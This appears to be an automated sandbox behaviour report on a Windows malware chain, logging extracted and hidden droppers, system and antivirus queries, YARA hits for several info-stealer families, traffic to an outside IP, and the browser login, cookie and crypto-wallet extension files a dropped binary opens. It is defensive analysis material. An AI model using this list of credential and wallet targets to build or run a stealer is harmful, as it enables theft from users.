Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Process created: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe "C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Process created: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe "C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

8_2_00402744

Source: random.exe_Y.exe, 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: o.jg{Program Manager
Source: d7691cd336.exe, 00000024.00000002.2843563902.0000000000814000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: random.exe_Y.exe, 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2212223956.0000000000DB2000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: .jg{Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B9DD91 cpuid

6_2_00B9DD91

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

8_2_0040247D

Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\random.exe_Y.exe

Code function: 0_2_000BCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_000BCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00BC2517 GetTimeZoneInformation,

6_2_00BC2517

Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe

Code function: 8_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

8_2_00405BFC

Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.random.exe_Y.exe.a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2211661900.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2171173391.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2142098174.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2506817597.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2172004233.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000025.00000002.2838016524.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2813486090.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2817891813.00000000009D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2818001314.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.6:49919 -> 185.185.71.170:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
